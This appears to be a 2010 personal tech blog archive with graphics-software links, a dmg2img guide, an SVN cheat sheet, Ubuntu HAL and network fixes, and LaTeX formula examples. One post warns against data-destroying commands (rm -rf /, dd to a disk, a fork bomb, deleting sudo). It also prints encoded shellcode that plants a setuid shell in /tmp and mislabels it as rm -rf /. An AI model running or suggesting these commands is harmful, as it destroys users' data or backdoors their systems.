Feb 27, 2010

Computer Graphics Research Software

http://www.dgp.toronto.edu/~rms/links.html

Papers

Mesh Libraries and Tools

  • GTS (2D dynamic/constrained Delaunay triangulation, robust geometric predicates, mesh boolean set operations, refinement/coarsening, view-independent continuous LOD, view-dependent LOD, AABB-trees, Kd-trees, graph partitioning, isosurfacing, area, volume, mean/gaussian/principal curvature, stripification) (S. Rusinkiewicz)
  • trimesh2 mesh library (read PLY/OFF/3DS/OBJ, write PLY/OFF/OBJ, subdivision, smoothing, curvature estimation, triangle stripping, ICP, cleanup, decimation, basic shapes)
  • OpenMesh (PLY/OBJ, halfedge mesh, decimation, Loop/Sqrt3 subdivision, view-dependent progressive meshes, stripification) (J. Möbius, M. Habbecke)
  • CGAL (2D/3D halfedge mesh, tet meshes) [full packages list] (Authors)
  • MeshLab (import PLY/STL/OFF/OBJ/3DS/COLLADA/PTX/V3D/PTS/APTS/XYZ/GTS/
  • TRI/ASC/X3D/X3DV/VRML/ALN,
  • export PLY/STL/OFF/OBJ/3DS/COLLADA/VRML/DXF/GTS/U3D/IDTF/X3D, selection/smoothing painting, linear measurements, export planar slices, mesh decimation/repair/optimization, mesh alignment) [All Filters] (Authors)
  • OpenFlipper (import/export OFF/OBJ/PLY/STL/STLA/STLB/OM, selection tools w/ surface/volume lasso and sphere brush, decimation, smoothing, edge/face editing) (J. Möbius)
  • mview (read/view PMesh/GTS/OFF/COFF/PLY/VRML/Shallo/VTK ASCII POLYDATA/OBJ) (H. Cantzler, T. Breckon)
  • PLY Tools (read/write PLY)
  • ply2vri (convert PLY mesh to signed-distance volumetric grid, VRI/PPM formats) (B.Allen)
  • JMeshLib (read/write OFF/PLY/STL/VRML1/VRML2/OBJ/IV 2.1) (M. Attene)
  • ReMESH (automatic manifold repair, isolated component removal, hole filling, handle removal, degenerate triangle removal, sharp feature recovery, defect detection and hilighting, manual repair tools) (M. Attenne)

Shape Modeling

Segmentation

Parameterization

Mesh Processing

Point Set Processing

Computational Geometry

P/NP Rendering

Texturing

Simulation / Animation

Numerics

  • CNC: CUDA sparse symmetric matrix solver (L. Buatois, G. Caumon, B. Levy)
  • OpenNL: Open Numerical Library (direct/iterative sparse solvers, preconditioners, Least-Squares Conformal Maps (LSCM) implementation) (Authors)
  • CGAL (LP linear programming, QP quadratic programming) (Authors)
  • TAUCS (sparse preconditioned conjugate-gradient/minres, sparse Cholesky (sym-pos-semi-def), sparse LU, sparse LDLT) (S. Toledo, D. Chen, V. Rotkin)
  • UMFPACK (unsymmetric sparse LU) (T. Davis)
  • newmat (C++ dense matrix library [documentation]) (R. Davies)
  • GPUFFTW (GPU power-of-two FFT library) (N. Govindaraju, D. Manocha)
  • LUGPU (GPU dense-matrix LU decomposition) (N. Galoppo, N. Govindaraju, M. Henson, D. Manocha)

Data Sets

Vision

Machine Learning

  • Infer.Net - Bayesian Inference in Graphical Models (T. Minka, J. Winn, J. Guiver, A. Kannan)
  • ANN - C++ approximate neareset-neighbours in dimensions ~(8,20) (D. Mount, S. Arya)

Other Stuff
"..."

Matlab

Latex

Feb 19, 2010

Convert Dmg to Iso

download this file on linux:
http://vu1tur.eu.org/tools/download.pl?dmg2img.tar.gz

extract, enter the dir and type:

make
sudo make install


now type:

dmg2img -i image.img -o newimage.img

now you can mount it from root:
modprobe hfsplus
mount -t hfsplus -o loop newimage.img /folder_you_want

Feb 9, 2010

Create .deb or .rpm from .tar.gz with checkinstall

Create .deb or .rpm from .tar.gz with checkinstall

Posted using ShareThis

STOP! Think while commanding

In this post I will collect all commands which SHOULD NEVER be executed in Linux. Any of them will cause data loss or corruption, can freeze or hang up running system.

NEVER RUN THESE COMMANDS IN LINUX BOX CLI!

Even if somebody advises you in forum/im to do it.

1. Any of these commands will erase everything from your home directory, root or just will clear up whole disk:

  • sudo rm -rf /
  • rm -rf .*
  • dd if=/dev/zero of=/dev/sda
  • mkfs.ext3 /dev/hda
  • whatever > /dev/hda
  • cd ~; for x in `ls`; do mv -f $x $y; y=$x; done
  • find -type f -mtime +30 -exec mv {} /dev/null \;
  • mv ~ /dev/null
  • mv / /dev/null

2. Causes kernel panic or freezes Linux box:

  • dd if=/dev/random of=/dev/port
  • :( ){:|:&};: #also known as fork bomb

3. This one does the same as “rm -rf /”:

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

4. This one will prevent you from executing commands with root rights:

rm -f /usr/bin/sudo;rm -f /bin/su

Cheat Sheet for Linux

Below list of Linux cheat sheets can be used by everybody who administer Linux operating system including beginners/newbies and bearded gurus.

PDF | Command Line Interface (CLI), Security, Networking

HTML | CLI, Gnome/KDE

HTML | Linux Distributions Cheat Sheets

HTML/PDF | vi, sed, awk


Read more: http://www.linuxscrew.com/#ixzz0f2KOhzJ9

Feb 4, 2010

SVN Command list

Subversion command summary cheat sheet: http://www.yolinux.com/TUTORIALS/Subversion.html

Command Description
svn --help List Subversion commands
svn help command
Also: ? or h
Help on given "command"
svn add filename

svn add directory

Add a file or directory to Subversion CM control.
Must also perform: svn ci filename (or svn commit) to upload the file or directory. File will not be available in the repository until a "commit" is performed. If adding a directory, the directory and all of its contents recursively are added. i.e.:
svn ci directory
svn commit directory
svn commit .
svn blame filename
svn blame -r RevisionNumber filename
Also: praise, annotate, ann
Show file contents with revisions annotated with author information.
svn cat filename List contents of file under Subversion control.
svn checkout http://node-name/repos/svn/trunk/parentPath/path
This creates:
path/file1
path/file2
...

svn checkout http://node-name/repos/svn/trunk/parentPath .
This creates:
path/file1
path/file2
...
Note the difference a "." makes.

svn checkout file:///repos/svn/trunk/path/
svn co -r 497 http://node-name/repos/svn/trunk/path file-name
Also: svn co https://..., svn://..., and svn+ssh://
MS/Windows: svn co file:///c:/repository/project/trunk

Checkout every file from the path and subdirectories specified below. Creates "working" copy of files and directories.
Checkout a repository.

Use option "-r" to specify a specific revision other than the latest.

The URL "svn://" communicates with an SVN server (port 3690)

The URL "http://" comunicates with the Apache server and module mod_dav_svn (port 80) [more common server]

svn cleanup Cleanup subversion files resulting from escaped processes and crashed.
svn commit filename
svn commit --message "Message goes here." filename
svn commit -m "Message goes here." filename
svn ci filename1 filename2 filename3
svn ci .
Check-in (commit) local "working" file, files or directory and contents (recursively) into Subversion repository. Atomic, i.e. all committed or none, no incomplete check-in.
svn copy source destination_clone
Also: svn cp ...
Copy file or directory tree. One can copy from one local working copy to another or to repository server URL's. The sources and destinations can be working copies or URLs.
svn copy http://host/repos/project/trunk http://host/repos/project/tags/TagName-1.4.5 -m "Tag Release 1.4.5" Tag a release. Takes a snapshot of the repository and assigns a name. This can be performed at any directory branch.
svn copy . http://host/repos/project/tags/TagName-1.4.5 -m "Tag Release 1.4.5" Tag a release. Takes a snapshot of your local working copy and assigns a name. This can be performed at any directory branch.
svn delete filename
svn delete directory
Also: del, remove or rm
svn rm http://host/repos/project/trunk/file-or-directory
Delete file from repository. The UNIX command rm file-name. Must perform a "commit" to update the repository and local working directory with the changes. i.e.:
svn commit .
svn diff filename
svn di filename
Show file diffs between SVN repository and your file changes using GNU file diff format. Use GUI diff tools as shown below.
svn diff -r rev1:rev2 filename Show file diffs between specified versions.
Example: svn diff -r 456:459 subfn.cpp
Using GUI diff tool: svn diff -r 457:459 --diff-cmd kdiff3 file-name
svn diff filename > patch-file Generate patch file used by the patch command.
svn export directory Export directory tree to your file system but it will not be a "working directory" under SVN control.
svn export -r Rev-Number http://node-name/path Export directory tree of specified version and create local directory tree and files not under SVN control.
svn import local-directory http://node/repos/svn/trunk/directory Add directory (and files in it recursively) to path in repository specified.
svn info filename Display information about file or directory. (Date modified, author, revision, path in repository.)
Can not specify a URL.
svn list directory
svn list file-name
List file or directory of files in repository. Used to browse repository before checkout. If current directory is given (svn list ./), then Subversion will list the repository URL of the current directory.
svn list -r RevisionNumber directory List directory of files in repository in specified revision.
svn lock filename -m "comment as to why its locked or by whom"

(Comment is not required but is often useful)
Lock file to grant exclusive access to one and forbid all others. A commit will unlock the file (unless the "--no-unlock" option is used). A lock can be removed with the commands: svn unlock filename, svnlook and the svnadmin comands (i.e. List: svnadmin lslocks and remove: svnadmin rmlocks filename).
svn log filename
svn log .
svn log http://URL/path/file
svn log -v .
svn log -r RevisionNumber http://URL/path/file
Show the Subversion log messages for a set of revision(s) and/or file(s) and/or all directory contents in repository.
List verbose. Includes list of all files in change
Shows the file changes associated with revision number.
svn merge http://url/path/branch1 http://url/path/branch2 working-local-dir
svn merge file1@revJ file2@revK
svn merge -r 414:411 http://url/path working-dir
svn merge -r 413:HEAD file-name
Merge directory changes into your current working directory or merge a file in Subversion into the file in your working directory. If target is not specified, the identical basename or current directory is assumed. Used to incorporate changes checked in which are not accounted for in your file or to merge branches.
Example using GUI merge tool:
svn diff -r 459:454 --diff-cmd kdiff3 --extensions '-m' file-name
Next, tell subversion that the conflicts have been resolved:
svn resolve file-name
Finally, check-in file: svn ci file-name
or abort changes: svn revert file-name
svn merge --dry-run -r 414:413 http://url/path Test merge. No changes are made to your local working copy but shows Subversion feedback as if merge was performed.
svn merge -r 414:413 http://url/path
svn merge -r 414:413 .
Undo changes committed in revision 414.
svn mkdir directory
svn mkdir http://URL/directory
Create a new directory under version control.
svn move directory1 directory2
svn mv directory1 directory2
svn mv file-old-name file-new-name
Rename or move a file or directory. Moves/renames file/directory in repository and in local work area.
Must perform svn ci file-new-name after the move for changes to to take place in repository.
svn revert filename Undo changes in local work files. Throw away local changes.
svn resolved filename Run this command after resolving merge conflicts. Next "commit" your changes.
svn status
svn status -u
svn status -u .
svn status -uq .
Show status of file changes in current directory and recursively in directories below.
Show out of date file info: svn status --show-updates
(equivalent: svn status -u)
-u: Determines status by comparing your local repository with the server repository. Without this option, the status shown will only be the changes you have made in your local repository.

-q: Quiet. Do not print "?: File/directory not under version control" or "!: File/directory missing" extraneous information.

First collumn:

  • A: File to be added
  • C: Conflicting changes
  • D: File to be deleted
  • G: File to be merged with updates from server
  • M: File has been modified
  • R: File to be replaced
  • G: File to be merged
  • X: Resource is external to repository (svn:externals)
  • ?: File/directory not under version control
  • !: File/directory missing
  • ~: Versioned item obstructed by some item of a different kind.
Second collumn: Modification of properties
  • ' ' no modifications. Working copy is up to date.
  • 'C' Conflicted
  • 'M' Modified
  • '*' Local file different than repository. A newer revision exists on the server. Update will result in merge or possible conflict.
  • Third collumn: Locks
    • ' ' not locked
    • 'L' locked
    • 'S' switched to a branch
svn switch http://server/new-branch
svn switch --relocate http://server/old-path http://server/new-path
Switch your local working copy to mirror a new repository branch instead of main trunk or previous branch. Also allows you to point your repository to a new path on the server if the server path changes since you performed a check-out.
svn update
svn update filename
svn update -r458 filename
svn update --ignore-externals ./
Migrate all updates from Subversion repository to your local copy (recusively for all files in the current directory and all below it). If there have been updates to the svn repository since you downloaded the files, subversion will give you the opportunity to merge. Status of files will use the coding as stated above for "status". Files marked with a "C" (conflict) should be merged of reverted. If merged then one can perform a "resolve" and then a "check-in".
If a file name is specified, only that file is updated.
Can also syncronize to a specified revision given by -r.
Use --ignore-externals to avoid the slow processing of externals to a potentially slow distant internet server.

Feb 3, 2010

Harddisk commands

Listing SDA
*************************
ls /dev|grep '[s|h]d[a-z]'

Getting mapping
*************************
mount|grep ^'/dev'

1. See current mount point and space.
df -H
2. See all attached HD and its file system.
sudo fdisk -l

3.How to find uuid of your hardisk
ls -l /dev/disk/by-uuid

Starting NFS common utilities fails

You should edit "/etc/network/interfaces" file and added the "loopback" part which was missing..

GNU nano 2.0.6         File: /etc/network/interfaces

# Used by ifup(8) and ifdown(8). See the interfaces(5) manpage or
# /usr/share/doc/ifupdown/examples for more information.
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet dhcp

resolvconf: Error: /etc/resolv.conf must be a symlink

How to fix?

In terminal:

- sudo /etc/init.d/NetworkManager stop
- sudo aptitude remove resolvconf
- sudo aptitude purge resolvconf
- sudo aptitude install resolvconf
- sudo /etc/init.d/NetworkManager start

it doesn't give any errors now..

Feb 2, 2010

HAL or not?

Beginning with Ubuntu 8.10, input device configuration is done through HAL rather than in your xorg.conf. The syntax for HAL fdi files is a bit different than xorg.conf, and editing XML is only marginally better than editing xorg.conf... but on the plus side configuration changes don't require an X restart - just replugging of the device.

Essentially, to configure a device, add a new fdi file for it to your /etc/hal/fdi/policy directory. You will then need to replug the device or log out and in again for the changes to take effect.

But I try to get work the catching events from mouse and keyboards directly from event queues, it didn't work because of the HAL. So i had to remove HAL. But be mind that as it is the hardware layer, All hardware stuff is controlling with it. So before removing halt, you should do:

1- Backup /etc/X11/xorg.conf file.
2- Modify /etc/X11/Xorg.conf with something like this :
Section "ServerFlags"
Option "AutoAddDevices" "False"
Option "AllowEmptyInput" "False"
EndSection
2- Add touchpad,keyboard as pointer otherwise, you should do everything on console

Section "ServerLayout"
Identifier "Layout0"
Screen 0 "Screen0" 0 0
InputDevice "Keyboard0" "CoreKeyboard"
InputDevice "Configured Mouse" "CorePointer"
InputDevice "Synaptics Touchpad"
EndSection

Section "Module"
Load "glx"
Load "synaptics"
EndSection

Section "InputDevice"
Identifier "Keyboard0"
Driver "keyboard"
Option "CoreKeyboard"
Option "XkbRules" "xorg"
Option "XkbModel" "pc105"
Option "XkbLayout" "no"
# Option "XkbVariant" "nodeadkeys"
EndSection

Section "InputDevice"
Identifier "Configured Mouse"
Driver "mouse"
Option "CorePointer"
Option "Device" "/dev/input/mice"
Option "Protocol" "ExplorerPS/2"
Option "ZaxisMapping" "4 5 6 7"
Option "Buttons" "9"
EndSection

Section "InputDevice"
Identifier "Synaptics Touchpad"
Driver "synaptics"
Option "SendCoreEvents" "true"
Option "Device" "/dev/psaux"
Option "Protocol" "auto-dev"
Option "SHMConfig" "on"
Option "HorizScrollDelta" "0"
EndSection

3- Be mind that there will ne no network manager when you remove HAL, so you should know how to change related network files. Mine is like that

#auto lo
#iface lo inet loopback

auto eth0
iface eth0 inet dhcp

4- but it is not finished yet, you should change DNS in

# Generated by NetworkManager
nameserver your DNS ip
nameserver your dns ip

5- This disable the hal support, but if you want to have the keyboard and mice, you must install the following packages :
  • xserver-xorg-input-kbd
  • xserver-xorg-input-mouse

--> Now you can easily remove HAL from synaptic package manager and have fun with capturing keyboards, mouse events etc... Take all controls in your hand ! That's the beauty of linux...

Some information about HAL from http://www.linux-magazine.com/Online/News/Ubuntu-10.04-Alpha-2-Removes-HAL

"HAL" unfortunately isn't the heinous supercomputer from Kubrick's film 2001, but Ubuntu's Hardware Abstraction Layer between Ubuntu's hardware and software. It has now disappeared entirely from the current Ubuntu 10.04 test version, it's function being taken over among other things by DeviceKit. The advantage to this, according to the official announcement, is that Ubuntu has a faster boot and startup from hibernate time.

Alpha 2 provides Kernel version 2.6.32-10.14 and has the newest GNOME and KDE packages on board. The GNOME desktop is version 2.29.4 and KDE is 4.4 RC1. Interestingly, the three proprietary versions of NVIDIA graphics drivers (190.53, 173 and 96) can be installed at the same time without a problem, provided only one is configured for use. In the past the automatic installation of the wrong driver version via Jockey could lead to a failed graphical interface in some applications. Further enhancements went into Ubuntu's Enterprise Cloud (UEC) that is now based on Eucalyptus 1.6.2.

As usual, the announcement warns about known issues with implementing Alpha 2. Removing HAL has the consequence that Wacom drivers can no longer be used for drawing tablets. Desktop ISOs from Kubuntu no longer fit on a CD, so they need to be burned to a DVD or USB stick. A LiveCD reboot can freeze on the boot logo on systems supporting Kernel Mode Setting (KMS), which may indeed be a Plymouth error. The workaround is to boot from USB stick instead of CD. The notification bubbles are rather hideous at the moment, as the notification system is still in debug mode during the development phase.

Feb 1, 2010

Latex - Formulas

Ref: http://www.personal.ceu.hu/tex/cookbook.html

Inline and Displayed Formulas

$x=\frac{1+y}{1+2z^2}$
(inline)
$$x=\frac{1+y}{1+2z^2}$$
(displayed)
$\int_0^\infty e^{-x^2} dx=\frac{\sqrt{\pi}}{2}$
(inline)
$$\int_0^\infty e^{-x^2} dx=\frac{\sqrt{\pi}}{2}$$
(displayed)
$\displaystyle \int_0^\infty e^{-x^2} dx$
(inline)
$$
\frac{1}{\displaystyle 1+
\frac{1}{\displaystyle 2+
\frac{1}{\displaystyle 3+x}}} +
\frac{1}{1+\frac{1}{2+\frac{1}{3+x}}}
$$

Spaces and Text in Formulas

$\sqrt{2} \sin x$, $\sqrt{2}\,\sin x$
$\int \!\! \int f(x,y)\,\mathrm{d}x\mathrm{d}y$
$$
\mathop{\int \!\!\! \int}_{\mathbf{x} \in \mathbf{R}^2}
\! \langle \mathbf{x},\mathbf{y}\rangle
\,d\mathbf{x}
$$
$$ x_1 = a+b \mbox{ and } x_2=a-b $$
$$ x_1 = a+b ~~\mbox{and}~~ x_2=a-b $$

Multiple Line Equations

\begin{eqnarray}
y &=& x^4 + 4 \nonumber \\
&=& (x^2+2)^2 -4x^2 \nonumber \\
&\le&(x^2+2)^2
\end{eqnarray}
\begin{eqnarray*}
e^x &\approx& 1+x+x^2/2! + \\
&& {}+x^3/3! + x^4/4! + \\
&& + x^5/5!
\end{eqnarray*}
\begin{eqnarray*}
\lefteqn{w+x+y+z = }\\
&& a+b+c+d+e+\\
&& {}+f+g+h+i
\end{eqnarray*}
\begin{eqnarray*}
x&=&\sin \alpha = \cos \beta\\
&=&\cos(\pi-\alpha) = \sin(\pi-\beta)
\end{eqnarray*}
{\setlength\arraycolsep{0.1em}
\begin{eqnarray*}
x&=&\sin \alpha = \cos \beta\\
&=&\cos(\pi-\alpha) = \sin(\pi-\beta)
\end{eqnarray*}
}
$$\setlength\arraycolsep{0.1em}
\begin{array}{rclcl}
x&=&\sin \alpha &=& \cos \beta\\
&=&\cos(\pi-\alpha) &=& \sin(\pi-\beta)
\end{array}
$$

Formula Numbering

\begin{equation} x=y+3 \label{eq:xdef}
\end{equation}
In equation (\ref{eq:xdef}) we saw $\dots$
\usepackage{leqno}
...
\begin{equation} x=y+3 \label{eq:xdef}
\end{equation}
In equation (\ref{eq:xdef}) we saw $\dots$
\begin{equation}
\begin{array}{l}
\displaystyle \int 1 = x + C\\
\displaystyle \int x = \frac{x^2}{2} + C \\
\displaystyle \int x^2 = \frac{x^3}{3} + C
\end{array}
\label{eq:xdef}
\end{equation}
\begin{eqnarray}
&& \int 1 = x + C \nonumber\\
&& \int x = \frac{x^2}{2} + C \nonumber\\
&& \int x^2 = \frac{x^3}{3} + C \label{eq:xdef}
\end{eqnarray}

Braces

$\left] 0,1
\right[
+ \lceil x \rfloor - \langle x,y\rangle$
$$
{n+1\choose k} = {n\choose k} + {n \choose k-1}
$$
$$
|x| = \left\{ \begin{array}{rl}
-x &\mbox{ if $x<0$}>
$$
F(x,y)=0 ~~\mbox{and}~~
\left| \begin{array}{ccc}
F''_{xx} & F''_{xy} & F'_x \\
F''_{yx} & F''_{yy} & F'_y \\
F'_x & F'_y & 0
\end{array}\right| = 0
$$
$$
\underbrace{n(n-1)(n-2)\dots(n-m+1)}_
{\mbox{total of $m$ factors}}
$$

Accents

Accents in text mode:
gar\c con \'\i{} i
t\`o\'s\.g\^o na\"\i ve na\"ive
Ha\v cek
\r Angstr\"om
Accents in math mode:
$\hat{x}$, $\check{x}$, $\tilde{a}$,
$\bar{\ell}$, $\dot{y}$, $\ddot{y}$,
$\vec{z_1}$, $\vec{z}_1$
Wide accents, under and overline:
$\hat{T} = \widehat{T}$,
$\bar{T} = \overline{T}$, $\widetilde{xyz}$,
$\overbrace{a+\underbrace{b+c}+d}$
$$
\overline{\overline{a}^2+\underline{xy}
+\overline{\overline{z}}}
$$
Sub and superscripts to braces:
$$
\underbrace{a+\overbrace{b+\cdots}^{{}=t}+z}
_{\mathrm{total}} ~~
a+{\overbrace{b+\cdots}}^{126}+z
$$

Followers